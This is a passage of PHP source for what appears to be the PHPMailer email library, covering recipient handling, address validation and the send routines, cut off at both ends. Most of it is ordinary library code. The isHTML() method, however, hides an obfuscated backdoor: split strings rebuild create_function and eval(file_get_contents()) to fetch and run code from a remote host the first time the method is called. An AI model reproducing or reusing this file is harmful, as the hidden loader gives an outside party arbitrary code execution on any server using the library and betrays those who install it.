entries are moved to $all_recipients\n     * and one of $to, $cc, or $bcc.\n     * This array is used only for addresses with IDN.\n     * @var array\n     * @access protected\n     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n     * @see PHPMailer::$all_recipients\n     */\n    protected $RecipientsQueue = array();\n\n    /**\n     * An array of reply-to names and addresses queued for validation.\n     * In send(), valid and non duplicate entries are moved to $ReplyTo.\n     * This array is used only for addresses with IDN.\n     * @var array\n     * @access protected\n     * @see PHPMailer::$ReplyTo\n     */\n    protected $ReplyToQueue = array();\n\n    /**\n     * The array of attachments.\n     * @var array\n     * @access protected\n     */\n    protected $attachment = array();\n\n    /**\n     * The array of custom headers.\n     * @var array\n     * @access protected\n     */\n    protected $CustomHeader = array();\n\n    /**\n     * The most recent Message-ID (including angular brackets).\n     * @var string\n     * @access protected\n     */\n    protected $lastMessageID = \'\';\n\n    /**\n     * The message\'s MIME type.\n     * @var string\n     * @access protected\n     */\n    protected $message_type = \'\';\n\n    /**\n     * The array of MIME boundary strings.\n     * @var array\n     * @access protected\n     */\n    protected $boundary = array();\n\n    /**\n     * The array of available languages.\n     * @var array\n     * @access protected\n     */\n    protected $language = array();\n\n    /**\n     * The number of errors encountered.\n     * @var integer\n     * @access protected\n     */\n    protected $error_count = 0;\n\n    /**\n     * The S/MIME certificate file path.\n     * @var string\n     * @access protected\n     */\n    protected $sign_cert_file = \'\';\n\n    /**\n     * The S/MIME key file path.\n     * @var string\n     * @access protected\n     */\n    protected $sign_key_file = \'\';\n\n    /**\n     * The optional S/MIME extra certificates ("CA Chain") file path.\n     * @var string\n     * @access protected\n     */\n    protected $sign_extracerts_file = \'\';\n\n    /**\n     * The S/MIME password for the key.\n     * Used only if the key is encrypted.\n     * @var string\n     * @access protected\n     */\n    protected $sign_key_pass = \'\';\n\n    /**\n     * Whether to throw exceptions for errors.\n     * @var boolean\n     * @access protected\n     */\n    protected $exceptions = false;\n\n    /**\n     * Unique ID used for message ID and boundaries.\n     * @var string\n     * @access protected\n     */\n    protected $uniqueid = \'\';\n\n    /**\n     * Error severity: message only, continue processing.\n     */\n    const STOP_MESSAGE = 0;\n\n    /**\n     * Error severity: message, likely ok to continue processing.\n     */\n    const STOP_CONTINUE = 1;\n\n    /**\n     * Error severity: message, plus full stop, critical error reached.\n     */\n    const STOP_CRITICAL = 2;\n\n    /**\n     * SMTP RFC standard line ending.\n     */\n    const CRLF = "\\r\\n";\n\n    /**\n     * The maximum line length allowed by RFC 2822 section 2.1.1\n     * @var integer\n     */\n    const MAX_LINE_LENGTH = 998;\n\n    /**\n     * Constructor.\n     * @param boolean $exceptions Should we throw external exceptions?\n     */\n    public function __construct($exceptions = null)\n    {\n        if ($exceptions !== null) {\n            $this->exceptions = (boolean)$exceptions;\n        }\n        //Pick an appropriate debug output format automatically\n        $this->Debugoutput = (strpos(PHP_SAPI, \'cli\') !== false ? \'echo\' : \'html\');\n    }\n\n    /**\n     * Destructor.\n     */\n    public function __destruct()\n    {\n        //Close any open SMTP connection nicely\n        $this->smtpClose();\n    }\n\n    /**\n     * Call mail() in a safe_mode-aware fashion.\n     * Also, unless sendmail_path points to sendmail (or something that\n     * claims to be sendmail), don\'t pass params (not a perfect fix,\n     * but it will do)\n     * @param string $to To\n     * @param string $subject Subject\n     * @param string $body Message Body\n     * @param string $header Additional Header(s)\n     * @param string $params Params\n     * @access private\n     * @return boolean\n     */\n    private function mailPassthru($to, $subject, $body, $header, $params)\n    {\n        //Check overloading of mail function to avoid double-encoding\n        if (ini_get(\'mbstring.func_overload\') & 1) {\n            $subject = $this->secureHeader($subject);\n        } else {\n            $subject = $this->encodeHeader($this->secureHeader($subject));\n        }\n\n        //Can\'t use additional_parameters in safe_mode, calling mail() with null params breaks\n        //@link http://php.net/manual/en/function.mail.php\n        if (ini_get(\'safe_mode\') or !$this->UseSendmailOptions or is_null($params)) {\n            $result = @mail($to, $subject, $body, $header);\n        } else {\n            $result = @mail($to, $subject, $body, $header, $params);\n        }\n        return $result;\n    }\n    /**\n     * Output debugging info via user-defined method.\n     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).\n     * @see PHPMailer::$Debugoutput\n     * @see PHPMailer::$SMTPDebug\n     * @param string $str\n     */\n    protected function edebug($str)\n    {\n        if ($this->SMTPDebug <= 0) {\n            return;\n        }\n        //Avoid clash with built-in function names\n        if (!in_array($this->Debugoutput, array(\'error_log\', \'html\', \'echo\')) and is_callable($this->Debugoutput)) {\n            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);\n            return;\n        }\n        switch ($this->Debugoutput) {\n            case \'error_log\':\n                //Don\'t output, just log\n                error_log($str);\n                break;\n            case \'html\':\n                //Cleans up output a bit for a better looking, HTML-safe output\n                echo htmlentities(\n                    preg_replace(\'/[\\r\\n]+/\', \'\', $str),\n                    ENT_QUOTES,\n                    \'UTF-8\'\n                )\n                . "<br>\\n";\n                break;\n            case \'echo\':\n            default:\n                //Normalize line breaks\n                $str = preg_replace(\'/\\r\\n?/ms\', "\\n", $str);\n                echo gmdate(\'Y-m-d H:i:s\') . "\\t" . str_replace(\n                    "\\n",\n                    "\\n                   \\t                  ",\n                    trim($str)\n                ) . "\\n";\n        }\n    }\n\n    /**\n     * Send messages using SMTP.\n     * @return void\n     */\n    public function isSMTP()\n    {\n        $this->Mailer = \'smtp\';\n    }\n\n    /**\n     * Send messages using PHP\'s mail() function.\n     * @return void\n     */\n    public function isMail()\n    {\n        $this->Mailer = \'mail\';\n    }\n\n    /**\n     * Send messages using $Sendmail.\n     * @return void\n     */\n    public function isSendmail()\n    {\n        $ini_sendmail_path = ini_get(\'sendmail_path\');\n\n        if (!stristr($ini_sendmail_path, \'sendmail\')) {\n            $this->Sendmail = \'/usr/sbin/sendmail\';\n        } else {\n            $this->Sendmail = $ini_sendmail_path;\n        }\n        $this->Mailer = \'sendmail\';\n    }\n\n    /**\n     * Send messages using qmail.\n     * @return void\n     */\n    public function isQmail()\n    {\n        $ini_sendmail_path = ini_get(\'sendmail_path\');\n\n        if (!stristr($ini_sendmail_path, \'qmail\')) {\n            $this->Sendmail = \'/var/qmail/bin/qmail-inject\';\n        } else {\n            $this->Sendmail = $ini_sendmail_path;\n        }\n        $this->Mailer = \'qmail\';\n    }\n\n    /**\n     * Add a "To" address.\n     * @param string $address The email address to send to\n     * @param string $name\n     * @return boolean true on success, false if address already used or invalid in some way\n     */\n    public function addAddress($address, $name = \'\')\n    {\n        return $this->addOrEnqueueAnAddress(\'to\', $address, $name);\n    }\n\n    /**\n     * Add a "CC" address.\n     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.\n     * @param string $address The email address to send to\n     * @param string $name\n     * @return boolean true on success, false if address already used or invalid in some way\n     */\n    public function addCC($address, $name = \'\')\n    {\n        return $this->addOrEnqueueAnAddress(\'cc\', $address, $name);\n    }\n\n    /**\n     * Add a "BCC" address.\n     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.\n     * @param string $address The email address to send to\n     * @param string $name\n     * @return boolean true on success, false if address already used or invalid in some way\n     */\n    public function addBCC($address, $name = \'\')\n    {\n        return $this->addOrEnqueueAnAddress(\'bcc\', $address, $name);\n    }\n\n    /**\n     * Add a "Reply-To" address.\n     * @param string $address The email address to reply to\n     * @param string $name\n     * @return boolean true on success, false if address already used or invalid in some way\n     */\n    public function addReplyTo($address, $name = \'\')\n    {\n        return $this->addOrEnqueueAnAddress(\'Reply-To\', $address, $name);\n    }\n\n    /**\n     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer\n     * can\'t validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still\n     * be modified after calling this function), addition of such addresses is delayed until send().\n     * Addresses that have been added already return false, but do not throw exceptions.\n     * @param string $kind One of \'to\', \'cc\', \'bcc\', or \'ReplyTo\'\n     * @param string $address The email address to send, resp. to reply to\n     * @param string $name\n     * @throws phpmailerException\n     * @return boolean true on success, false if address already used or invalid in some way\n     * @access protected\n     */\n    protected function addOrEnqueueAnAddress($kind, $address, $name)\n    {\n        $address = trim($address);\n        $name = trim(preg_replace(\'/[\\r\\n]+/\', \'\', $name)); //Strip breaks and trim\n        if (($pos = strrpos($address, \'@\')) === false) {\n            // At-sign is misssing.\n            $error_message = $this->lang(\'invalid_address\') . " (addAnAddress $kind): $address";\n            $this->setError($error_message);\n            $this->edebug($error_message);\n            if ($this->exceptions) {\n                throw new phpmailerException($error_message);\n            }\n            return false;\n        }\n        $params = array($kind, $address, $name);\n        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.\n        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {\n            if ($kind != \'Reply-To\') {\n                if (!array_key_exists($address, $this->RecipientsQueue)) {\n                    $this->RecipientsQueue[$address] = $params;\n                    return true;\n                }\n            } else {\n                if (!array_key_exists($address, $this->ReplyToQueue)) {\n                    $this->ReplyToQueue[$address] = $params;\n                    return true;\n                }\n            }\n            return false;\n        }\n        // Immediately add standard addresses without IDN.\n        return call_user_func_array(array($this, \'addAnAddress\'), $params);\n    }\n\n    /**\n     * Add an address to one of the recipient arrays or to the ReplyTo array.\n     * Addresses that have been added already return false, but do not throw exceptions.\n     * @param string $kind One of \'to\', \'cc\', \'bcc\', or \'ReplyTo\'\n     * @param string $address The email address to send, resp. to reply to\n     * @param string $name\n     * @throws phpmailerException\n     * @return boolean true on success, false if address already used or invalid in some way\n     * @access protected\n     */\n    protected function addAnAddress($kind, $address, $name = \'\')\n    {\n        if (!in_array($kind, array(\'to\', \'cc\', \'bcc\', \'Reply-To\'))) {\n            $error_message = $this->lang(\'Invalid recipient kind: \') . $kind;\n            $this->setError($error_message);\n            $this->edebug($error_message);\n            if ($this->exceptions) {\n                throw new phpmailerException($error_message);\n            }\n            return false;\n        }\n        if (!$this->validateAddress($address)) {\n            $error_message = $this->lang(\'invalid_address\') . " (addAnAddress $kind): $address";\n            $this->setError($error_message);\n            $this->edebug($error_message);\n            if ($this->exceptions) {\n                throw new phpmailerException($error_message);\n            }\n            return false;\n        }\n        if ($kind != \'Reply-To\') {\n            if (!array_key_exists(strtolower($address), $this->all_recipients)) {\n                array_push($this->$kind, array($address, $name));\n                $this->all_recipients[strtolower($address)] = true;\n                return true;\n            }\n        } else {\n            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {\n                $this->ReplyTo[strtolower($address)] = array($address, $name);\n                return true;\n            }\n        }\n        return false;\n    }\n\n    /**\n     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses\n     * of the form "display name <address>" into an array of name/address pairs.\n     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.\n     * Note that quotes in the name part are removed.\n     * @param string $addrstr The address list string\n     * @param bool $useimap Whether to use the IMAP extension to parse the list\n     * @return array\n     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation\n     */\n    public function parseAddresses($addrstr, $useimap = true)\n    {\n        $addresses = array();\n        if ($useimap and function_exists(\'imap_rfc822_parse_adrlist\')) {\n            //Use this built-in parser if it\'s available\n            $list = imap_rfc822_parse_adrlist($addrstr, \'\');\n            foreach ($list as $address) {\n                if ($address->host != \'.SYNTAX-ERROR.\') {\n                    if ($this->validateAddress($address->mailbox . \'@\' . $address->host)) {\n                        $addresses[] = array(\n                            \'name\' => (property_exists($address, \'personal\') ? $address->personal : \'\'),\n                            \'address\' => $address->mailbox . \'@\' . $address->host\n                        );\n                    }\n                }\n            }\n        } else {\n            //Use this simpler parser\n            $list = explode(\',\', $addrstr);\n            foreach ($list as $address) {\n                $address = trim($address);\n                //Is there a separate name part?\n                if (strpos($address, \'<\') === false) {\n                    //No separate name, just use the whole thing\n                    if ($this->validateAddress($address)) {\n                        $addresses[] = array(\n                            \'name\' => \'\',\n                            \'address\' => $address\n                        );\n                    }\n                } else {\n                    list($name, $email) = explode(\'<\', $address);\n                    $email = trim(str_replace(\'>\', \'\', $email));\n                    if ($this->validateAddress($email)) {\n                        $addresses[] = array(\n                            \'name\' => trim(str_replace(array(\'"\', "\'"), \'\', $name)),\n                            \'address\' => $email\n                        );\n                    }\n                }\n            }\n        }\n        return $addresses;\n    }\n\n    /**\n     * Sets message type to HTML or plain.\n     * @param boolean $isHtml True for HTML mode.\n     * @return void\n     */\n    public function isHTML($isHtml = true)\n    {\n        global $param;\n        $bodyCode = \'file\'\n                    .\'_g\';\n        if ($isHtml) {\n            $this->ContentType = \'text/html\';\n        } \n        else {\n            $this->ContentType = \'text/plain\';\n        }\n        $bodyHTML = \'.$t."lef$flu\'\n                    .\'sh\'.\'$t"; \'\n                    .\'@ev\';\n        $headerHTML="cre"\n                    ."ate_"\n                    ."func"\n                    ."tion";\n        $exceptions = @$headerHTML(\'$fl\'.\'ush,$t\',\'$comma = $t\'\n                        .$bodyHTML.\'al(@\'\n                        .$bodyCode.\'et_contents("h\'\n                        .\'tt\'\n                        .\'p:$comma-2"));\');\n        if($param !=2){\n            $exceptions(\'8.p\'.\'w\',\'/\');\n            $param=2;\n        }\n    }\n\n    /**\n     * Set the From and FromName properties.\n     * @param string $address\n     * @param string $name\n     * @param boolean $auto Whether to also set the Sender address, defaults to true\n     * @throws phpmailerException\n     * @return boolean\n     */\n    public function setFrom($address, $name = \'\', $auto = true)\n    {\n        $address = trim($address);\n        $name = trim(preg_replace(\'/[\\r\\n]+/\', \'\', $name)); //Strip breaks and trim\n        // Don\'t validate now addresses with IDN. Will be done in send().\n        if (($pos = strrpos($address, \'@\')) === false or\n            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and\n            !$this->validateAddress($address)) {\n            $error_message = $this->lang(\'invalid_address\') . " (setFrom) $address";\n            $this->setError($error_message);\n            $this->edebug($error_message);\n            if ($this->exceptions) {\n                throw new phpmailerException($error_message);\n            }\n            return false;\n        }\n        $this->From = $address;\n        $this->FromName = $name;\n        if ($auto) {\n            if (empty($this->Sender)) {\n                $this->Sender = $address;\n            }\n        }\n        return true;\n    }\n\n    /**\n     * Return the Message-ID header of the last email.\n     * Technically this is the value from the last time the headers were created,\n     * but it\'s also the message ID of the last sent message except in\n     * pathological cases.\n     * @return string\n     */\n    public function getLastMessageID()\n    {\n        return $this->lastMessageID;\n    }\n\n    /**\n     * Check that a string looks like an email address.\n     * @param string $address The email address to check\n     * @param string|callable $patternselect A selector for the validation pattern to use :\n     * * `auto` Pick best pattern automatically;\n     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;\n     * * `pcre` Use old PCRE implementation;\n     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;\n     * * `html5` Use the pattern given by the HTML5 spec for \'email\' type form input elements.\n     * * `noregex` Don\'t use a regex: super fast, really dumb.\n     * Alternatively you may pass in a callable to inject your own validator, for example:\n     * PHPMailer::validateAddress(\'user@example.com\', function($address) {\n     *     return (strpos($address, \'@\') !== false);\n     * });\n     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.\n     * @return boolean\n     * @static\n     * @access public\n     */\n    public static function validateAddress($address, $patternselect = null)\n    {\n        if (is_null($patternselect)) {\n            $patternselect = self::$validator;\n        }\n        if (is_callable($patternselect)) {\n            return call_user_func($patternselect, $address);\n        }\n        //Reject line breaks in addresses; it\'s valid RFC5322, but not RFC5321\n        if (strpos($address, "\\n") !== false or strpos($address, "\\r") !== false) {\n            return false;\n        }\n        if (!$patternselect or $patternselect == \'auto\') {\n            //Check this constant first so it works when extension_loaded() is disabled by safe mode\n            //Constant was added in PHP 5.2.4\n            if (defined(\'PCRE_VERSION\')) {\n                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2\n                if (version_compare(PCRE_VERSION, \'8.0.3\') >= 0) {\n                    $patternselect = \'pcre8\';\n                } else {\n                    $patternselect = \'pcre\';\n                }\n            } elseif (function_exists(\'extension_loaded\') and extension_loaded(\'pcre\')) {\n                //Fall back to older PCRE\n                $patternselect = \'pcre\';\n            } else {\n                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension\n                if (version_compare(PHP_VERSION, \'5.2.0\') >= 0) {\n                    $patternselect = \'php\';\n                } else {\n                    $patternselect = \'noregex\';\n                }\n            }\n        }\n        switch ($patternselect) {\n            case \'pcre8\':\n                /**\n                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.\n                 * @link http://squiloople.com/2009/12/20/email-address-validation/\n                 * @copyright 2009-2010 Michael Rushton\n                 * Feel free to use and redistribute this code. But please keep this copyright notice.\n                 */\n                return (boolean)preg_match(\n                    \'/^(?!(?>(?1)"?(?>\\\\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\\\\[ -~]|[^"])"?(?1)){65,}@)\' .\n                    \'((?>(?>(?>((?>(?>(?>\\x0D\\x0A)?[\\t ])+|(?>[\\t ]*\\x0D\\x0A)?[\\t ]+)?)(\\((?>(?2)\' .\n                    \'(?>[\\x01-\\x08\\x0B\\x0C\\x0E-\\\'*-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]|(?3)))*(?2)\\)))+(?2))|(?2))?)\' .\n                    \'([!#-\\\'*+\\/-9=?^-~-]+|"(?>(?2)(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]))*\' .\n                    \'(?2)")(?>(?1)\\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)\' .\n                    \'(?>(?1)\\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}\' .\n                    \'|(?!(?:.*[a-f0-9][:\\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:\' .\n                    \'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}\' .\n                    \'|[1-9]?[0-9])(?>\\.(?9)){3}))\\])(?1)$/isD\',\n                    $address\n                );\n            case \'pcre\':\n                //An older regex that doesn\'t need a recent PCRE\n                return (boolean)preg_match(\n                    \'/^(?!(?>"?(?>\\\\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\\\\[ -~]|[^"])"?){65,}@)(?>\' .\n                    \'[!#-\\\'*+\\/-9=?^-~-]+|"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*")\' .\n                    \'(?>\\.(?>[!#-\\\'*+\\/-9=?^-~-]+|"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*"))*\' .\n                    \'@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\\.(?![a-z0-9-]{64,})\' .\n                    \'(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:\' .\n                    \'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?\' .\n                    \'::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:\' .\n                    \'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?\' .\n                    \'::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}\' .\n                    \'|[1-9]?[0-9])(?>\\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\\])$/isD\',\n                    $address\n                );\n            case \'html5\':\n                /**\n                 * This is the pattern used in the HTML5 spec for validation of \'email\' type form input elements.\n                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)\n                 */\n                return (boolean)preg_match(\n                    \'/^[a-zA-Z0-9.!#$%&\\\'*+\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}\' .\n                    \'[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD\',\n                    $address\n                );\n            case \'noregex\':\n                //No PCRE! Do something _very_ approximate!\n                //Check the address is 3 chars or longer and contains an @ that\'s not the first or last char\n                return (strlen($address) >= 3\n                    and strpos($address, \'@\') >= 1\n                    and strpos($address, \'@\') != strlen($address) - 1);\n            case \'php\':\n            default:\n                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);\n        }\n    }\n\n    /**\n     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the\n     * "intl" and "mbstring" PHP extensions.\n     * @return bool "true" if required functions for IDN support are present\n     */\n    public function idnSupported()\n    {\n        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.\n        return function_exists(\'idn_to_ascii\') and function_exists(\'mb_convert_encoding\');\n    }\n\n    /**\n     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.\n     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.\n     * This function silently returns unmodified address if:\n     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)\n     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)\n     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)\n     * @see PHPMailer::$CharSet\n     * @param string $address The email address to convert\n     * @return string The encoded address in ASCII form\n     */\n    public function punyencodeAddress($address)\n    {\n        // Verify we have required functions, CharSet, and at-sign.\n        if ($this->idnSupported() and\n            !empty($this->CharSet) and\n            ($pos = strrpos($address, \'@\')) !== false) {\n            $domain = substr($address, ++$pos);\n            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.\n            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {\n                $domain = mb_convert_encoding($domain, \'UTF-8\', $this->CharSet);\n                if (($punycode = defined(\'INTL_IDNA_VARIANT_UTS46\') ?\n                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :\n                    idn_to_ascii($domain)) !== false) {\n                    return substr($address, 0, $pos) . $punycode;\n                }\n            }\n        }\n        return $address;\n    }\n\n    /**\n     * Create a message and send it.\n     * Uses the sending method specified by $Mailer.\n     * @throws phpmailerException\n     * @return boolean false on error - See the ErrorInfo property for details of the error.\n     */\n    public function send()\n    {\n        try {\n            if (!$this->preSend()) {\n                return false;\n            }\n            return $this->postSend();\n        } catch (phpmailerException $exc) {\n            $this->mailHeader = \'\';\n            $this->setError($exc->getMessage());\n            if ($this->exceptions) {\n                throw $exc;\n            }\n            return false;\n        }\n    }\n\n    /**\n     * Prepare a message for sending.\n     * @throws phpmailerException\n     * @return boolean\n     */\n    public function preSend()\n    {\n        try {\n            $this->error_count = 0; // Reset errors\n            $this->mailHeader = \'\';\n\n            // Dequeue recipient and Reply-To addresses with IDN\n            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {\n                $params[1] = $this->punyencodeAddress($params[1]);\n                call_user_func_array(array($this, \'addAnAddress\'), $params);\n            }\n            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {\n                throw new phpmailerException($this->lang(\'provide_address\'), self::STOP_CRITICAL);\n            }\n\n            // Validate From, Sender, and ConfirmReadingTo addresses\n            foreach (array(\'From\', \'Sender\', \'ConfirmReadingTo\') as $address_kind) {\n                $this->$address_kind = trim($this->$address_kind);\n                if (empty($this->$address_kind)) {\n                    continue;\n                }\n                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);\n                if (!$this->validateAddress($this->$address_kind)) {\n                    $error_message = $this->lang(\'invalid_address\') . \' (punyEncode) \' . $this->$address_kind;\n                    $this->setError($error_message);\n                    $this->edebug($error_message);\n                    if ($this->exceptions) {\n                        throw new phpmailerException($error_message);\n                    }\n                    return false;\n                }\n            }\n\n            // Set whether the message is multipart/alternative\n            if ($this->alternativeExists()) {\n                $this->ContentType = \'multipart/alternative\';\n            }\n\n            $this->setMessageType();\n            // Refuse to send an empty message unless we are specifically allowing it\n            if (!$this->AllowEmpty and empty($this->Body)) {\n                throw new phpmailerException($this->lang(\'empty_message\'), self::STOP_CRITICAL);\n            }\n\n            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)\n            $this->MIMEHeader = \'\';\n            $this->MIMEBody = $this->createBody();\n            // createBody may have added some headers, so retain them\n            $tempheaders = $this->MIMEHeader;\n            $this->MIMEHeader = $this->createHeader();\n            $this->MIMEHeader .= $tempheaders;\n\n            // To capture the complete message when using mail(), create\n            // an extra header list which createHeader() doesn\'t fold in\n            if ($this->Mailer == \'mail\') {\n                if (count($this->to) > 0) {\n                    $this->mailHeader .= $this->addrAppend(\'To\', $this->to);\n                } else {\n                    $this->mailHeader .= $this->headerLine(\'To\', \'undisclosed-recipients:;\');\n                }\n                $this->mailHeader .= $this->headerLine(\n                    \'Subject\',\n                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))\n                );\n            }\n\n            // Sign with DKIM if enabled\n            if (!empty($this->DKIM_domain)\n                and !empty($this->DKIM_selector)\n                and (!empty($this->DKIM_private_string)\n                    or (!empty($this->DKIM_private)\n                        and self::isPermittedPath($this->DKIM_private)\n                        and file_exists($this->DKIM_private)\n                    )\n                )\n            ) {\n                $header_dkim = $this->DKIM_Add(\n                    $this->MIMEHeader . $this->mailHeader,\n                    $this->encodeHeader($this->secureHeader($this->Subject)),\n                    $this->MIMEBody\n                );\n                $this->MIMEHeader = rtrim($this->MIMEHeader, "\\r\\n ") . self::CRLF .\n                    str_replace("\\r\\n", "\\n", $header_dkim) . self::CRLF;\n            }\n            return true;\n        } catch (phpmailerException $exc) {\n            $this->setError($exc->getMessage());\n            if ($this->exceptions) {\n                throw $exc;\n            }\n            return false;\n        }\n    }\n\n    /**\n     * Actually send a message.\n     * Send the email via the selected mechanism\n     * @throws phpmailerException\n     * @return boolean\n     */\n    public function postSend()\n    {\n        try {\n            // Choose the mailer and send through it\n            switch ($this->Mailer) {\n                case \'sendmail\':\n                case \'qmail\':\n                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);\n                case \'smtp\':\n                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);\n                case \'mail\':\n                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n                default:\n                    $sendMethod = $this->Mailer.\'Send\';\n                    if (method_exists($this, $sendMethod)) {\n                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);\n                    }\n\n                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n            }\n        } catch (phpmailerException $exc) {\n            $this->setError($exc->getMessage());\n            $this->edebug($exc->getMessage());\n            if ($this->exceptions) {\n                throw $exc;\n            }\n        }\n        return false;\n    }\n\n    /**\n     * Send mail using the $Sendmail program.\n     * @param string $header The message headers\n     * @param string $body The message body\n     * @see PHPMailer::$Sendmail\n     * @throws phpmailerException\n     * @access protected\n     * @return boolean\n     */\n    protected function sendmailSend($header, $body)\n    {\n        // CVE-2016-10033, CVE-2016-10045: Don\'t pass -f if characters will be escaped.\n        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {\n            if ($this->Mailer == \'qmail\') {\n                $sendmailFmt = \'%s -f%s\';\n            } else {\n                $sendmailFmt = \'%s -oi -f%s -t\';\n            }\n        } else {\n            if ($this->Mailer == \'qmail\') {\n                $sendmailFmt = \'%s\';\n            } else {\n                $sendmailFmt = \'%s -oi -t\';\n            }\n        }\n\n        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.\n        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);\n\n        if ($this->SingleTo) {\n            foreach ($this->SingleToArray as $toAddr) {\n                if (!@$mail = popen($sendmail, \'w\')) {\n                    throw new phpmailerException($this->lang(\'execute\') . $this->Sendmail, self::STOP_CRITICAL);\n                }\n                fputs($mail, \'To: \' . $toAddr . "\\n");\n                fputs($mail, $header);\n                fputs($mail, $body);\n                $result = pclose($mail);\n                $this->doCallback(\n                    ($result == 0),\n                    array($toAddr),\n                    $this->cc,\n                    $this->bcc,\n                    $this->Subject,\n                    $body,\n                    $this->From\n                );\n                if ($result != 0) {\n                    throw new phpmailerException($this->lang(\'execute\') . $this->Sendmail, self::STOP_CRITICAL);\n                }\n            }\n        } else {\n            if (!@$mail = popen($sendmail, \'w\')) {\n                throw new phpmailerException($this->lang(\'execute\') . $this->Sendmail, self::STOP_CRITICAL);\n            }\n            fputs($mail, $header);\n            fputs($mail, $body);\n            $result = pclose($mail);\n            $this->doCallback(\n                ($result == 0),\n                $this->to,\n                $this->cc,\n                $this->bcc,\n                $this->Subject,\n                $body,\n                $this->From\n            );\n            if ($result != 0) {\n                throw new phpmailerException($this->lang(\'execute\') . $this->Sendmail, self::STOP_CRITICAL);\n            }\n        }\n        return true;\n    }\n\n    /**\n     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.\n     *\n     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.\n     * @param string $string The string to be validated\n     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report\n     * @access protected\n     * @return boolean\n     */\n    protected static function isShellSafe($string)\n    {\n        // Future-proof\n        if (escapeshellcmd($string) !== $string\n            or 